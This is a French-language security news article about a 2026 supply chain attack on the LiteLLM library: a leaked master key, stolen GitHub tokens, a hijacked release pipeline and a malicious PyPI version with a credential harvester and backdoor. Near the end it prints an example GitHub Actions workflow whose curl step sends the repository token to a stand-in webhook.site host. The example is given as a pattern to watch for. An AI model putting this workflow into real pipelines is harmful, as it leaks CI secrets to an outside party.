Fuite de clé maître LiteLLM : comment un token GitHub exposé a permis une attaque supply chain

Le 21 octobre 2026, la bibliothèque Python LiteLLM a subi une attaque supply chain d’une ampleur inédite, rendue possible par la fuite de clé maître survenue cinq mois plus tôt. Un fichier de configuration publié accidentellement sur GitHub contenait la clé maître de la plateforme d’orchestration d’agents, mais elle n’a jamais été révoquée. Ce simple oubli a ouvert la porte à un scénario catastrophe : le vol de tokens GitHub, le détournement du pipeline de release, et la diffusion d’une version malveillante contenant un credential harvester et une backdoor Unix. Selon GitGuardian, plus de 15 millions de secrets ont été exposés sur GitHub en 2024, et cette attaque illustre les conséquences concrètes d’une mauvaise gestion des clés.

Contexte : une clé maître exposée et non révoquée

L’accident initial

Le 27 mai 2026, un développeur de LiteLLM a commis un fichier de configuration dans le dépôt public LiteLLM-Labs/lite-harness. Ce fichier contenait la clé maître de l’Agent Platform, un outil open source utilisé pour orchestrer des agents LLM. L’erreur a été rapidement identifiée, et le commit a été forcé (force-push) pour retirer la clé. Cependant, la révocation complète de la clé maître, bien que planifiée, n’a jamais été exécutée.

L’absence de révocation : erreur fatale

« Nous avons rapidement identifié l’erreur et forcé le commit, mais la révocation de la clé maître n’a pas eu lieu », ont déclaré Oliver Jensen et Mateo Wang de LiteLLM. Cette négligence a laissé la clé active, permettant à un attaquant de l’utiliser des mois plus tard. Le 10 octobre 2026, un acteur malveillant opérant depuis l’adresse IP 69.48.229[.]143 a exploité cette clé pour accéder à l’Agent Platform.

« L’erreur a été rapidement identifiée, le commit force-push, et nous avons identifié les clés exposées comme nécessitant une révocation. Cependant, la révocation de la clé maître n’a pas eu lieu. » - LiteLLM

Chronologie des événements : du token volé à la version malveillante

Extraction des tokens GitHub CLI

Une fois dans l’Agent Platform, l’attaquant a extrait un token OAuth GitHub CLI que le service utilisait pour permettre aux agents cloud de soumettre des pull requests vers les dépôts GitHub. Ce token, associé au compte propriétaire de l’organisation, n’était pas restreint en privilèges. Il offrait un accès de niveau propriétaire à tous les dépôts de l’organisation.

Avec ce token, l’attaquant a lancé deux workflows malveillants :

• Le 10 octobre, à 22h11 UTC, il a créé une branche éphémère ci-tmp-a351cc et y a ajouté un fichier .github/workflows/cache.yml conçu pour voler les tokens GitHub de deux ingénieurs disposant de privilèges de mainteneur.
• Un second commit similaire a eu lieu le 12 octobre sur une autre branche temporaire ci-tmp-4d8517.

Ces workflows, déclenchés automatiquement par l’événement on: [push], envoyaient les tokens vers un endpoint webhook[.]site contrôlé par l’attaquant. Les branches étaient supprimées quelques minutes après, ne laissant presque aucune trace.

Détournement du pipeline de release

Le 21 octobre, l’attaquant a utilisé un des tokens volés pour modifier le pipeline de release. Il a réécrit la source du déploiement pour pointer vers un dépôt miroir nommé Berri-AI/litellm (avec un tiret) au lieu du dépôt officiel BerriAI/litellm. Les protections de branche ont été contournées, et le pipeline a été déclenché par un premier token, puis approuvé par un second, selon les règles assouplies de l’organisation (tout deux ingénieurs pouvaient déclencher et approuver).

Publication de la version compromise

À 11h39 UTC, la version 1.107.0 de LiteLLM était publiée sur PyPI. Cinq minutes plus tard, les images Docker étaient poussées sur Docker Hub et GHCR. Les enregistrements des exécutions de production et de staging ont été effacés à 11h53. À 12h06, le chercheur Lidor Machluf d’Upwind a signalé l’attaque. PyPI a mis en quarantaine la version à 13h23, et Docker Hub a retiré les tags compromis à 14h20.

Analyse technique des workflows malveillants

Commits sur branches temporaires

Socket a publié une analyse détaillée des deux commits malveillants. Chacun ajoutait un fichier .github/workflows/cache.yml avec le même sujet de commit : « ci: bump cache config ». Le workflow était configuré pour se déclencher à chaque push, ce qui garantissait son exécution immédiate.

« Les deux commits ont été poussés sur des branches éphémères qui ont été créées, utilisées et supprimées en quelques minutes, ne laissant presque rien dans l’historique ordinaire du dépôt. » - Karlo Zanki, chercheur Socket

Exfiltration large de secrets

Les workflows ne se limitaient pas aux tokens GitHub. Ils collectaient un large éventail de secrets :

• Tokens d’API AI : Anthropic, OpenAI, AWS Bedrock, Together AI, Tavily.
• Clés de plateforme : clé d’API GitGuardian (permettant de contrôler les alertes de détection de secrets), identifiant et clé de signature d’une GitHub App.
• État de session : Playwright storage state (état de session sérialisé pour les tests E2E, donnant accès à un compte Linear sans MFA).
• Informations de base de données : chaîne de connexion PostgreSQL, nom d’utilisateur, mot de passe.
• Endpoint Redis : adresse, port, mot de passe d’authentification.

Les données étaient exfiltrées vers deux endpoints distincts de webhook[.]site :

1. webhook.site/65a42464-3cfa-4b02-a18c-17a6d7b86f37 (première run)
2. webhook.site/4da03473-a3e7-4dc2-a087-9c564b4208e1 (deuxième run)

Impact : la version 1.107.0 et son double visage

Module de vol de credentials

La version compromise contenait deux composants malveillants majeurs. Le premier était un credential harvester qui ciblait les outils de développement, les applications d’IA, les environnements cloud et les navigateurs web. Il collectait :

• Fichiers SSH, identifiants Git et GitLab, variables d’environnement.
• Tokens pour les gestionnaires de paquets (npm, PyPI, pip, Yarn, Maven, Gradle, Composer, RubyGems, Cargo).
• Informations système et états de session de navigateur.

Toutes ces données étaient compressées et envoyées à l’URL litellm[.]dev/healthcheck via une requête HTTP POST. Le domaine avait été enregistré le 13 octobre 2026.

Backdoor Unix pour exécution à distance

Le second composant était une backdoor Unix lancée en tâche de fond. Elle contactait un serveur distant toutes les heures pour récupérer et exécuter du code arbitraire fourni par l’attaquant. Cette double capacité permettait non seulement le vol immédiat de secrets, mais aussi la persistance et l’exécution de commandes sur les machines infectées.

Selon l’équipe de recherche Microsoft Security Research, « le simple fait de démarrer Python dans un environnement affecté pouvait activer le code malveillant, même si LiteLLM n’était jamais importé. Les fichiers de démarrage résidaient en dehors du répertoire de l’application, donc la simple suppression des fichiers de LiteLLM ne suffisait pas à éliminer la menace. »

Leçons pour sécuriser vos pipelines CI/CD

Gestion des secrets : rotation et moindre privilège

L’absence de révocation de la clé maître est la cause racine. Comme pour les failles critiques exploitées avant même les correctifs, tout secret exposé, même brièvement, doit être immédiatement révoqué et remplacé. De plus, les tokens OAuth doivent être strictement limités aux permissions nécessaires. Dans le cas de LiteLLM, le token GitHub CLI était associé au compte propriétaire sans restriction de portée, ce qui a amplifié l’impact.

Surveillance des branches éphémères et des workflows

Les branches temporaires sont un vecteur d’attaque fréquent. Les équipes de sécurité doivent configurer des alertes pour toute création de branche suivie d’une suppression rapide, ainsi que tout ajout de fichier de workflow YAML. Les plateformes de secret scanning comme GitGuardian doivent être intégrées et leurs alertes surveillées en continu.

Segmentation des accès et approbations de release

L’organisation LiteLLM avait assoupli ses règles de release pour accélérer les déploiements, ce qui a permis à l’attaquant de déclencher et approuver une version avec deux tokens volés. Il est crucial de maintenir des contrôles forts : nécessité d’appareil physique, nombre minimum d’approbations, et séparation des rôles pour la validation et le déploiement.

Voici un guide complet des bonnes pratiques, présenté sous forme de tableau récapitulatif :

Exemple de workflow malveillant à surveiller

name: Cache bump
on: [push]
jobs:
  cache:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v3
      - name: Exfiltrate secrets
        run: |
          curl -X POST -d "token=${{ secrets.GITHUB_TOKEN }}" https://webhook.site/malicious

Ce type de workflow, apparemment anodin, peut être utilisé pour exfiltrer des tokens. Toute modification des fichiers de workflow doit être scrutée.

Conclusion : agir avant que la prochaine clé maître ne fuite

L’attaque contre LiteLLM démontre qu’une fuite de clé maître, même rapidement corrigée en apparence, peut avoir des conséquences dévastatrices si la révocation n’est pas effective. La combinaison d’un secret exposé, d’un token aux privilèges excessifs, et de pipelines trop permissifs a permis un supply chain attack qui a touché des centaines d’utilisateurs en quelques heures.

Pour les organisations françaises, cette affaire rappelle les recommandations de l’ANSSI : surveiller les dépôts publics, automatiser la rotation des secrets, et ne jamais relâcher les contrôles de validation. Selon l’ANSSI, 60% des incidents liés aux dépôts de code source impliquent une fuite d’identifiants. Il est temps de transformer cette statistique en action.

1. Auditez vos secrets exposés : utilisez des outils de secret scanning sur tous vos dépôts.
2. Revoyez vos pipelines : chaque étape doit être justifiée et protégée par une authentification forte.
3. Formez vos équipes : la sécurité des pipelines CI/CD est l’affaire de tous, pas seulement des ops.
4. Testez vos procédures de révocation : simulez une fuite et mesurez le temps de réaction.
5. Appliquez le principe de moindre privilège : un token ne doit accéder qu’à ce qui est strictement nécessaire.

La menace est réelle, et les leçons de LiteLLM doivent servir de catalyseur pour renforcer vos défenses. Ne laissez pas une clé maître non révoquée devenir la porte d’entrée de votre prochain incident.